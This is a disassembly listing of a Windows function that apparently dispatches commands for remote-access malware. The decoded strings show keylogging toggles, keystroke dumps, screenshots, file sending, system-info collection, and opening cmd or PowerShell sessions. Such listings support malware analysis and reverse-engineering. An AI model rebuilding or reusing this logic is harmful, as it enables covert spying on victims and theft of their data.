Function at 0x14000ad10
Capabilities:
Create thread
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
mov rsi, qword [rdx + 8]
mov r13, qword [rdx]
cmp rsi, 4
mov r12, rcx
mov rbx, rdx
ja 0x14000b108
test rsi, rsi
jne 0x14000b3d0
lea rbp, [rsp + 0xd0]
mov ecx, 0x11
movabs rdi, 0x654b656c67676f74
mov qword [rsp + 0xc0], rbp
lea r13, [rsp + 0xc0]
call fcn.1400bf690
mov rdx, r13
mov rcx, rbx
mov qword [rsp + 0xd0], 0x10
mov qword [rax], rdi
movabs rdi, 0x676e6967676f4c79
mov qword [rax + 8], rdi
mov byte [rax + 0x10], 0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 0x10
call fcn.140004c20
mov rcx, qword [rsp + 0xc0]
mov esi, eax
cmp rcx, rbp
je 0x14000adcf
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
test sil, sil
jne 0x14000b178
mov rsi, qword [rbx + 8]
mov r14, qword [rbx]
cmp rsi, 7
ja 0x14000b010
test rsi, rsi
jne 0x14000b590
movabs rax, 0x656c6966646e6573
mov rdx, r13
mov rcx, rbx
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xc8], 8
mov byte [rsp + 0xd8], 0
call fcn.140004c20
mov rcx, qword [rsp + 0xc0]
mov esi, eax
cmp rcx, rbp
je 0x14000ae4b
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
test sil, sil
jne 0x14000b7b0
movabs rax, 0x6f4365746f6d6572
mov rdx, r13
mov rcx, rbx
mov qword [rsp + 0xc0], rbp
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x6f72746e
mov byte [rsp + 0xdc], 0x6c
mov qword [rsp + 0xc8], 0xd
mov byte [rsp + 0xdd], 0
call fcn.140004c20
mov rcx, qword [rsp + 0xc0]
mov esi, eax
cmp rcx, rbp
je 0x14000aec0
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
test sil, sil
je 0x14000bcf8
mov r15, qword [0x1400c93b0]
cmp byte [r15], 0
jne 0x14000be60
mov rdi, qword [rbx + 8]
mov r14, qword [rbx]
cmp rdi, 3
ja 0x14000bf11
test rdi, rdi
jne 0x14000c497
mov rcx, r13
mov rdx, r14
mov qword [rsp + 0xc0], rbp
lea r8, [r14 + rdi]
call fcn.1400043d0
mov rcx, r13
call fcn.14000f870
mov rcx, qword [rsp + 0xc0]
mov esi, eax
cmp rcx, rbp
je 0x14000af33
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
lea rdi, [r12 + 0x10]
test sil, sil
je 0x14000be08
mov rsi, qword [rbx + 8]
lea rcx, [rsi + 3]
call fcn.1400bf660
mov r8, qword [rbx]
lea rdx, [rsi + 2]
mov r13, rax
mov rcx, rax
mov byte [rax + rsi], 0
call qword [sym.imp.msvcrt.dll_strcpy_s]
xor edx, edx
xor ecx, ecx
mov r9, r13
mov qword [rsp + 0x28], 0
lea r8, [0x1400030f0]
mov dword [rsp + 0x20], 0
call qword [sym.imp.msvcrt.dll__beginthreadex]
cmp byte [r15], 0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
jne 0x14000afad
nop word [rax + rax]
mov ecx, 0x32
call rbx
cmp byte [r15], 0
je 0x14000afa0
movabs rbx, 0x6e65706f206e6f69
mov rcx, r13
call fcn.1400bf630
mov qword [r12], rdi
mov ecx, 0x14
movabs rdi, 0x7373657320444d43
call fcn.1400bf690
mov r8d, 0x6465
mov qword [r12 + 0x10], 0x13
mov qword [r12], rax
mov qword [rax], rdi
mov byte [rax + 0x12], 0x2e
mov qword [rax + 8], rbx
mov qword [r12 + 8], 0x13
mov word [rax + 0x10], r8w
mov byte [rax + 0x13], 0
jmp 0x14000b3b5
cmp dword [r14], 0x6479656b
je 0x14000b500
cmp rsi, 8
je 0x14000b5aa
movabs rax, 0x746f687370616e73
cmp qword [r14], rax
jne 0x14000b046
lea rax, [rsi - 8]
cmp rax, 0x7fffffff
jle 0x14000c447
cmp rsi, 0xa
jbe 0x14000b5c4
movabs rax, 0x68736e6565726373
cmp qword [r14], rax
je 0x14000bb80
mov r8d, 0xa
lea rdx, str.systeminfo
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000adf2
sub rsi, 0xa
cmp rsi, 0x7fffffff
jg 0x14000adf2
cmp rsi, 0xffffffff80000000
jl 0x14000adf2
test esi, esi
jne 0x14000adf2
call fcn.14000aba0
lea rax, [r12 + 0x10]
mov ecx, 0x13
movabs rbx, 0x2064656863746566
movabs rdi, 0x6e696d6574737973
mov qword [r12], rax
call fcn.1400bf690
mov r11d, 0x6f66
mov qword [r12 + 0x10], 0x12
mov qword [r12], rax
mov qword [r12 + 8], 0x12
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov word [rax + 0x10], r11w
mov byte [rax + 0x12], 0
jmp 0x14000b3b5
cmp dword [r13], 0x6c6c696b
jne 0x14000b122
lea rax, [rsi - 4]
cmp rax, 0x7fffffff
jle 0x14000bb28
cmp rsi, 7
jbe 0x14000b3ea
cmp dword [r13], 0x74736572
jne 0x14000ad43
cmp word [r13 + 4], 0x7261
jne 0x14000ad43
cmp byte [r13 + 6], 0x74
jne 0x14000ad43
sub rsi, 7
cmp rsi, 0x7fffffff
jg 0x14000ad43
cmp rsi, 0xffffffff80000000
jl 0x14000ad43
jmp 0x14000b408
mov rdx, qword [0x1400f10c0]
lea r14, [rsp + 0x80]
mov r8, qword [0x1400f10c8]
lea rsi, [rsp + 0x90]
mov rcx, r14
mov qword [rsp + 0x80], rsi
add r8, rdx
call fcn.1400043d0
mov rbx, qword [rsp + 0x88]
movabs rax, 0x7fffffffffffffff
sub rax, rbx
cmp rax, 1
jbe 0x14000c816
mov rdx, qword [rsp + 0x80]
lea rdi, [rbx + 2]
mov eax, 0xf
cmp rdx, rsi
cmovne rax, qword [rsp + 0x90]
cmp rdi, rax
ja 0x14000b608
mov r15d, 0x305c
mov word [rdx + rbx], r15w
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rdi
lea r14, [rsp + 0xa0]
mov rcx, r14
mov byte [rax + rbx + 2], 0
mov rdx, qword [0x1400f10c0]
lea rax, [rsp + 0xb0]
mov r8, qword [0x1400f10c8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xa0], rax
add r8, rdx
call fcn.1400043d0
mov rbx, qword [rsp + 0xa8]
movabs rax, 0x7fffffffffffffff
sub rax, rbx
cmp rax, 1
jbe 0x14000c83d
mov rdx, qword [rsp + 0xa0]
lea rdi, [rbx + 2]
mov eax, 0xf
cmp rdx, qword [rsp + 0x50]
cmovne rax, qword [rsp + 0xb0]
cmp rdi, rax
ja 0x14000b630
mov r14d, 0x315c
mov word [rdx + rbx], r14w
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rdi
mov rcx, r13
mov byte [rax + rbx + 2], 0
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov qword [rsp + 0xc0], rbp
add r8, rdx
call fcn.1400043d0
mov rcx, r13
call fcn.14000f870
mov rcx, qword [rsp + 0xc0]
mov ebx, eax
cmp rcx, rbp
je 0x14000b2f6
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
test bl, bl
je 0x14000b418
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14000b700
lea rax, [r12 + 0x10]
mov ecx, 0x1c
mov qword [r12], rax
call fcn.1400bf690
movabs rbx, 0x6f6e20646c756f63
mov qword [r12], rax
mov qword [rax], rbx
movabs rbx, 0x656c67676f742074
mov qword [r12 + 0x10], 0x1b
mov qword [rax + 8], rbx
movabs rbx, 0x67676f6c79656b20
mov edi, 0x6e69
mov byte [rax + 0x1a], 0x67
mov qword [rax + 0x10], rbx
mov word [rax + 0x18], di
mov qword [r12 + 8], 0x1b
mov byte [rax + 0x1b], 0
mov rcx, qword [rsp + 0xa0]
cmp rcx, qword [rsp + 0x50]
je 0x14000b397
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x14000b3b5
mov rax, qword [rsp + 0x90]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rax, r12
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, str.kill
mov r8, rsi
mov rcx, r13
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000b7a0
lea rdx, str.restart
mov r8, rsi
mov rcx, r13
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000ad43
sub rsi, 7
test esi, esi
jne 0x14000ad43
call fcn.140004da0
nop dword [rax]
mov rdx, qword [rsp + 0xa0]
mov rcx, r13
mov qword [rsp + 0xc0], rbp
mov r8, qword [rsp + 0xa8]
add r8, rdx
call fcn.1400043d0
mov rcx, r13
call fcn.14000f870
mov rcx, qword [rsp + 0xc0]
mov ebx, eax
cmp rcx, rbp
je 0x14000b463
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
test bl, bl
je 0x14000b658
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14000ba50
mov rcx, qword [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rcx, rax
je 0x14000bdd0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r12 + 0x10]
mov byte [0x1400f1080], 0
mov ecx, 0x16
mov qword [r12], rax
call fcn.1400bf690
movabs rbx, 0x6f2064656e727574
mov qword [r12], rax
mov qword [r12 + 0x10], 0x15
mov qword [rax], rbx
jmp 0x14000b6d1
cmp word [r14 + 4], 0x6d75
jne 0x14000b01d
cmp byte [r14 + 6], 0x70
jne 0x14000b01d
lea rax, [rsi - 7]
cmp rax, 0x7fffffff
jg 0x14000b01d
cmp rax, 0xffffffff80000000
jl 0x14000b01d
test eax, eax
jne 0x14000bcab
cmp byte [0x1400f1080], 0
mov byte [rsp + 0xd4], 0x65
mov eax, 5
mov dword [rsp + 0xd0], 0x736c6166
mov byte [rsp + 0xd5], 0
jne 0x14000bb60
movdqa xmm1, xmmword [rsp + 0xd0]
lea rdx, [r12 + 0x10]
mov qword [r12 + 8], rax
mov qword [r12], rdx
movups xmmword [r12 + 0x10], xmm1
jmp 0x14000b3b5
lea rdx, str.keydump
mov r8, rsi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000bbb8
lea rdx, str.snapshot
mov r8, rsi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000bc50
lea rdx, str.screenshot
mov r8, rsi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000bac0
lea rdx, str.systeminfo
mov r8, rsi
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000adf2
sub rsi, 0xa
jmp 0x14000b09e
mov qword [rsp + 0x20], 2
lea r9, [0x1400c439b]
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call fcn.1400acba0
jmp 0x14000b1f9
mov qword [rsp + 0x20], 2
lea r9, [0x1400c439e]
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call fcn.1400acba0
jmp 0x14000b296
mov rcx, qword [rsp + 0x80]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rcx, rax
je 0x14000bbd0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r12 + 0x10]
mov byte [0x1400f1080], 0
mov ecx, 0x16
mov qword [r12], rax
call fcn.1400bf690
movabs rdi, 0x6f2064656e727574
mov qword [r12], rax
mov qword [r12 + 0x10], 0x15
mov qword [rax], rdi
movabs rbx, 0x6f6c79656b206666
mov dword [rax + 0x10], 0x6e696767
mov qword [rax + 8], rbx
mov byte [rax + 0x14], 0x67
mov qword [r12 + 8], 0x15
mov byte [rax + 0x15], 0
jmp 0x14000b377
mov rcx, qword [rsp + 0xa0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rcx, rax
je 0x14000bc10
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [r12 + 0x10]
mov byte [0x1400f1080], 1
mov ecx, 0x15
mov qword [r12], rax
call fcn.1400bf690
movabs rbx, 0x6f2064656e727574
mov qword [r12], rax
mov qword [rax], rbx
movabs rbx, 0x676f6c79656b206e
mov qword [r12 + 0x10], 0x14
mov qword [rax + 8], rbx
mov dword [rax + 0x10], 0x676e6967
mov qword [r12 + 8], 0x14
mov byte [rax + 0x14], 0
jmp 0x14000b377
cmp esi, 4
jne 0x14000b3ea
call fcn.140005000
nop
mov rdi, qword [rbx + 8]
mov r10d, 0x22
pxor xmm0, xmm0
mov qword [rsp + 0x90], 0
mov rcx, qword [rbx]
lea rax, [rsp + 0xb0]
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xa0], rax
test rdi, rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0xa8], 1
mov word [rsp + 0xb0], r10w
mov qword [rsp + 0x58], rcx
je 0x14000c3f8
mov rsi, rcx
mov r8, rdi
add rsi, rdi
mov qword [rsp + 0x68], rsi
mov edx, 0x22
call sub.msvcrt.dll_memchr
test rax, rax
je 0x14000c5f2
cmp byte [rax], 0x22
je 0x14000bfe4
lea rcx, [rax + 1]
mov r8, rsi
sub r8, rcx
jne 0x14000b820
mov rdi, r8
xor r14d, r14d
xor esi, esi
mov r15, qword [rsp + 0x58]
mov qword [rsp + 0xc0], rbp
add r15, rdi
cmp qword [rsp + 0x68], 0
je 0x14000b871
test r15, r15
je 0x14000c857
mov rbx, qword [rsp + 0x48]
sub rbx, rdi
cmp rbx, 0xf
ja 0x14000c324
cmp rbx, 1
jne 0x14000c2fd
movzx eax, byte [r15]
mov byte [rsp + 0xd0], al
mov rax, rbp
cmp r14, rsi
mov qword [rsp + 0xc8], rbx
mov byte [rax + rbx], 0
je 0x14000c5b8
lea rax, [r14 + 0x10]
mov qword [r14], rax
mov rax, qword [rsp + 0xc0]
cmp rax, rbp
je 0x14000c484
mov qword [r14], rax
mov rax, qword [rsp + 0xd0]
mov qword [r14 + 0x10], rax
mov rax, qword [rsp + 0xc8]
add r14, 0x20
mov qword [r14 - 0x18], rax
mov qword [rsp + 0x88], r14
mov r14, qword [rsp + 0xa0]
cmp r14, qword [rsp + 0x50]
je 0x14000b912
mov rax, qword [rsp + 0xb0]
mov rcx, r14
lea rdx, [rax + 1]
call fcn.1400bf650
mov rbx, qword [rsp + 0x88]
mov r15, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x90]
mov rax, rbx
sub rax, r15
sub rsi, r15
cmp rax, 0x40
jbe 0x14000bcc0
mov r8, qword [r15 + 0x68]
mov qword [rsp + 0xc0], rbp
mov rcx, r13
mov rdx, qword [r15 + 0x60]
mov rax, qword [0x1400c93d0]
add r8, rdx
mov rdi, qword [rax]
call fcn.1400043d0
mov rax, qword [rsp + 0x50]
lea r14, [rsp + 0xa0]
mov r8, qword [r15 + 0x28]
mov rcx, r14
mov qword [rsp + 0xa0], rax
mov rdx, qword [r15 + 0x20]
add r8, rdx
call fcn.1400043d0
mov r8, r13
mov rdx, r14
mov rcx, rdi
call fcn.140001d30
mov rcx, qword [rsp + 0xa0]
cmp rcx, qword [rsp + 0x50]
je 0x14000b9b8
mov rax, qword [rsp + 0xb0]
lea rdx, [rax + 1]
call fcn.1400bf650
mov rcx, qword [rsp + 0xc0]
cmp rcx, rbp
je 0x14000b9d6
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
lea rax, [r12 + 0x10]
cmp r15, rbx
mov byte [r12 + 0x18], 0
mov qword [r12], rax
movabs rax, 0x656c6946646e6573
mov qword [r12 + 0x10], rax
mov qword [r12 + 8], 8
je 0x14000ba37
mov rdi, r15
nop dword [rax]
mov rcx, qword [rdi]
lea rax, [rdi + 0x10]
cmp rcx, rax
je 0x14000bb48
mov rax, qword [rdi + 0x10]
add rdi, 0x20
lea rdx, [rax + 1]
call fcn.1400bf650
cmp rbx, rdi
jne 0x14000ba08
test r15, r15
je 0x14000b3b5
mov rdx, rsi
mov rcx, r15
call fcn.1400bf650
jmp 0x14000b3b5
lea rax, [r12 + 0x10]
mov ecx, 0x1c
mov qword [r12], rax
call fcn.1400bf690
movabs rdi, 0x6f6e20646c756f63
mov qword [r12], rax
movabs rbx, 0x656c67676f742074
mov qword [r12 + 0x10], 0x1b
mov qword [rax], rdi
mov qword [rax + 8], rbx
movabs rdi, 0x67676f6c79656b20
mov ebp, 0x6e69
mov byte [rax + 0x1a], 0x67
mov qword [rax + 0x10], rdi
mov word [rax + 0x18], bp
mov qword [r12 + 8], 0x1b
mov byte [rax + 0x1b], 0
jmp 0x14000b377
lea rax, [rsi - 0xa]
mov r8, rsi
test eax, eax
jne 0x14000b069
call fcn.140005510
lea rax, [r12 + 0x10]
mov ecx, 0x12
movabs rbx, 0x7320676e696b6174
movabs rdi, 0x6f68736e65657263
mov qword [r12], rax
call fcn.1400bf690
mov qword [r12 + 0x10], 0x11
mov qword [r12], rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov byte [rax + 0x10], 0x74
mov qword [r12 + 8], 0x11
mov byte [rax + 0x11], 0
jmp 0x14000b3b5
cmp rax, 0xffffffff80000000
jl 0x14000b122
test eax, eax
jne 0x14000b122
jmp 0x14000b7a9
add rdi, 0x20
cmp rdi, rbx
jne 0x14000ba08
jmp 0x14000ba2e
mov dword [rsp + 0xd0], 0x65757274
mov eax, 4
mov byte [rsp + 0xd4], 0
jmp 0x14000b569
cmp word [r14 + 8], 0x746f
jne 0x14000b063
lea rax, [rsi - 0xa]
cmp rax, 0x7fffffff
jg 0x14000adf2
cmp rax, 0xffffffff80000000
jl 0x14000adf2
mov r8d, 0xa
jmp 0x14000bac7
cmp esi, 7
je 0x14000b53c
jmp 0x14000b5aa
lea rax, [r12 + 0x10]
mov ecx, 0x1c
mov qword [r12], rax
call fcn.1400bf690
movabs rbx, 0x6f6e20646c756f63
mov qword [r12], rax
mov qword [r12 + 0x10], 0x1b
mov qword [rax], rbx
movabs rdi, 0x656c67676f742074
mov qword [rax + 8], rdi
jmp 0x14000b34f
lea rax, [r12 + 0x10]
mov ecx, 0x1c
mov qword [r12], rax
call fcn.1400bf690
movabs rdi, 0x6f6e20646c756f63
mov qword [r12], rax
mov qword [rax], rdi
movabs rdi, 0x656c67676f742074
mov qword [r12 + 0x10], 0x1b
mov qword [rax + 8], rdi
jmp 0x14000ba8b
cmp esi, 8
jne 0x14000b5c4
nop dword [rax]
movabs rbx, 0x7320676e696b6174
call fcn.140005cb0
lea rax, [r12 + 0x10]
mov qword [r12 + 0x10], rbx
mov ebx, 0x6f68
mov qword [r12], rax
mov dword [r12 + 0x18], 0x7370616e
mov word [r12 + 0x1c], bx
mov byte [r12 + 0x1e], 0x74
mov qword [r12 + 8], 0xf
mov byte [r12 + 0x1f], 0
jmp 0x14000b3b5
cmp rsi, 8
je 0x14000b5aa
jmp 0x14000b027
lea rax, [r12 + 0x10]
cmp r15, rbx
mov byte [r12 + 0x18], 0
mov qword [r12], rax
movabs rax, 0x656c6946646e6573
mov qword [r12 + 0x10], rax
mov qword [r12 + 8], 8
jne 0x14000ba02
jmp 0x14000ba2e
lea rdx, str.Command_
mov r8, rbx
mov rcx, r13
call fcn.1400bd630
mov rbx, qword [rsp + 0xc8]
movabs rax, 0x7fffffffffffffff
sub rax, rbx
cmp rax, 0x14
jbe 0x14000c8a4
mov rax, qword [rsp + 0xc0]
lea rsi, [rbx + 0x15]
mov edx, 0xf
cmp rax, rbp
cmovne rdx, qword [rsp + 0xd0]
cmp rsi, rdx
ja 0x14000c424
movabs rdi, 0x6f6e207361772027
add rax, rbx
mov qword [rax], rdi
movabs rdi, 0x6e676f6365722074
mov qword [rax + 8], rdi
mov dword [rax + 0x10], 0x64657a69
mov byte [rax + 0x14], 0x2e
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xc8], rsi
mov byte [rax + rbx + 0x15], 0
lea rax, [r12 + 0x10]
mov qword [r12], rax
mov rax, qword [rsp + 0xc0]
cmp rax, rbp
je 0x14000c470
mov qword [r12], rax
mov rax, qword [rsp + 0xd0]
mov qword [r12 + 0x10], rax
mov rax, qword [rsp + 0xc8]
mov qword [r12 + 8], rax
jmp 0x14000b3b5
lea rax, [r12 + 0x10]
mov ecx, 0x1c
mov qword [r12], rax
call fcn.1400bf690
movabs rdi, 0x6f6e20646c756f63
mov qword [r12], rax
mov qword [r12 + 0x10], 0x1b
mov qword [rax], rdi
jmp 0x14000bbfd
mov qword [r12], rdi
mov ecx, 0x14
movabs rdi, 0x656f6420656c6946
movabs rbx, 0x6978652074276e73
call fcn.1400bf690
mov ecx, 0x7473
mov qword [r12 + 0x10], 0x13
mov qword [r12], rax
mov qword [rax], rdi
mov byte [rax + 0x12], 0x2e
mov qword [rax + 8], rbx
mov qword [r12 + 8], 0x13
mov word [rax + 0x10], cx
mov byte [rax + 0x13], 0
jmp 0x14000b3b5
mov rax, qword [0x1400c93a0]
mov rdx, r13
mov qword [rsp + 0xc0], rbp
mov dword [rsp + 0xd0], 0x74697865
mov qword [rsp + 0xc8], 4
mov byte [rsp + 0xd4], 0
mov rcx, qword [rax]
call fcn.140003290
mov rcx, qword [rsp + 0xc0]
cmp rcx, rbp
je 0x14000beb7
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
lea rax, [r12 + 0x10]
mov byte [r15], 0
mov ecx, 0x13
movabs rdi, 0x7373657320444d43
movabs rbx, 0x736f6c63206e6f69
mov qword [r12], rax
call fcn.1400bf690
mov edx, 0x6465
mov qword [r12 + 0x10], 0x12
mov qword [r12], rax
mov qword [r12 + 8], 0x12
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov word [rax + 0x10], dx
mov byte [rax + 0x12], 0
jmp 0x14000b3b5
cmp word [r14], 0x6d63
je 0x14000c586
mov r8d, 3
lea rdx, [0x1400c45fc]
mov rcx, r14
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000c354
lea rax, [rdi - 3]
cmp rax, 0x7fffffff
jg 0x14000c354
cmp rax, 0xffffffff80000000
jl 0x14000c354
test eax, eax
jne 0x14000c354
lea rax, [rbx + 0x10]
cmp r14, rax
je 0x14000c6d9
cmp qword [rbx + 0x10], 0x38
jbe 0x14000c6d9
lea rsi, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
cmp r14, rsi
ja 0x14000c5ff
lea r8, [r14 + rdi]
cmp r8, rsi
jb 0x14000c5ff
cmp rdi, 0x38
ja 0x14000c3e5
lea rax, [0x1400c4639]
cmp r8, rax
jae 0x14000c3e5
cmp r8, rsi
ja 0x14000c74f
mov ecx, 0x39
mov rax, rcx
sub rax, rdi
mov rdi, r14
add rsi, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbx]
mov qword [rbx + 8], 0x39
mov byte [rax + 0x39], 0
mov r14, qword [rbx]
mov rdi, qword [rbx + 8]
jmp 0x14000aef4
mov rsi, rax
sub rsi, qword [rsp + 0x58]
cmp rsi, 0xffffffffffffffff
mov r15, rsi
je 0x14000c88c
mov rax, qword [rsp + 0x58]
xor r14d, r14d
xor edi, edi
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x78], rax
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xc0], rbp
sub rax, rdi
mov rdi, qword [rsp + 0x60]
cmp rax, r15
cmovbe r15, rax
mov rax, rdi
add rax, r15
je 0x14000c04d
test rdi, rdi
je 0x14000c898
cmp r15, 0xf
ja 0x14000c230
cmp r15, 1
jne 0x14000c200
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
mov rax, rbp
cmp r14, qword [rsp + 0x68]
mov qword [rsp + 0xc8], r15
mov byte [rax + r15], 0
je 0x14000c298
lea rax, [r14 + 0x10]
mov qword [r14], rax
mov rax, qword [rsp + 0xc0]
cmp rax, rbp
je 0x14000c280
mov qword [r14], rax
mov rax, qword [rsp + 0xd0]
mov qword [r14 + 0x10], rax
mov rax, qword [rsp + 0xc8]
add r14, 0x20
mov qword [r14 - 0x18], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rbx]
mov r15, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
mov rax, qword [rbx + 8]
test r15, r15
mov qword [rsp + 0x48], rax
je 0x14000c260
lea rdi, [r15 + rsi]
cmp rdi, rax
jae 0x14000c2e8
mov rsi, qword [rsp + 0x58]
lea rdx, [rsi + rdi]
add rsi, rax
sub rax, rdi
cmp r15, rax
mov qword [rsp + 0x60], rdx
mov rcx, rdx
mov r8, rax
mov qword [rsp + 0x68], rsi
ja 0x14000c182
mov eax, 1
sub rax, r15
add r8, rax
je 0x14000c182
movsx esi, byte [r14]
mov qword [rsp + 0x138], rbx
mov rbx, rax
mov qword [rsp + 0x70], rdi
mov edx, esi
call sub.msvcrt.dll_memchr
test rax, rax
mov rdi, rax
je 0x14000c17d
mov r8, r15
mov rdx, r14
mov rcx, rax
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14000c1b8
mov r8, qword [rsp + 0x68]
lea rcx, [rdi + 1]
sub r8, rcx
cmp r15, r8
ja 0x14000c17d
add r8, rbx
jne 0x14000c146
mov rdi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rdi, rax
ja 0x14000c884
mov rbx, qword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x68], rax
jmp 0x14000b850
mov rsi, rdi
sub rsi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x138]
mov rdi, qword [rsp + 0x70]
cmp rsi, 0xffffffffffffffff
je 0x14000c182
mov r15, rsi
sub r15, rdi
cmp rdi, qword [rsp + 0x48]
ja 0x14000c822
mov rax, qword [rsp + 0x90]
mov r14, qword [rsp + 0x88]
mov qword [rsp + 0x68], rax
jmp 0x14000c020
test r15, r15
mov rax, rbp
je 0x14000c073
mov rcx, rbp
nop
mov rdx, qword [rsp + 0x60]
mov r8, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xc0]
jmp 0x14000c073
test r15, r15
js 0x14000c863
mov rcx, r15
add rcx, 1
js 0x14000c2f8
call fcn.1400bf690
mov rcx, rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xd0], r15
jmp 0x14000c210
cmp rax, rsi
jae 0x14000c2d0
mov r9, qword [rsp + 0x48]
mov r8, rsi
lea rdx, [0x1400c45c7]
lea rcx, [0x1400c42d8]
call fcn.1400bac90
movdqa xmm2, xmmword [rsp + 0xd0]
movups xmmword [r14 + 0x10], xmm2
jmp 0x14000c0b2
mov rcx, qword [rsp + 0x78]
mov r8, r13
mov rdx, r14
call fcn.1400a94a0
mov rcx, qword [rsp + 0xc0]
cmp rcx, rbp
je 0x14000c0ca
mov rax, qword [rsp + 0xd0]
lea rdx, [rax + 1]
call fcn.1400bf650
jmp 0x14000c0ca
mov rax, qword [rsp + 0x58]
mov rdi, rsi
add rax, rsi
mov qword [rsp + 0x60], rax
jmp 0x14000c1e4
je 0x14000b8f7
jmp 0x14000c182
call fcn.1400c0570
test rbx, rbx
mov rax, rbp
je 0x14000b89b
mov rcx, rbp
mov r8, rbx
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xc0]
jmp 0x14000b89b
test rbx, rbx
js 0x14000c86f
mov rcx, rbx
add rcx, 1
js 0x14000c71d
call fcn.1400bf690
mov rcx, rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xd0], rbx
jmp 0x14000c30c
cmp rdi, 5
jbe 0x14000c51c
cmp dword [r14], 0x33737770
jne 0x14000aef4
cmp byte [r14 + 4], 0x32
jne 0x14000aef4
lea rax, [rdi - 5]
cmp rax, 0x7fffffff
jg 0x14000aef4
cmp rax, 0xffffffff80000000
jl 0x14000aef4
test eax, eax
jne 0x14000aef4
lea rax, [rbx + 0x10]
cmp r14, rax
je 0x14000c6fb
cmp qword [rbx + 0x10], 0x38
jbe 0x14000c6fb
lea rsi, str.C:WindowsSysWOW64WindowsPowerShell_v1.0powershell.exe
cmp r14, rsi
ja 0x14000c6af
lea r8, [r14 + rdi]
cmp r8, rsi
jb 0x14000c6af
cmp rdi, 0x38
ja 0x14000c3e5
lea rax, [0x1400c4679]
cmp r8, rax
jb 0x14000bfad
mov ecx, 0x39
mov rdi, r14
rep movsb byte [rdi], byte [rsi]
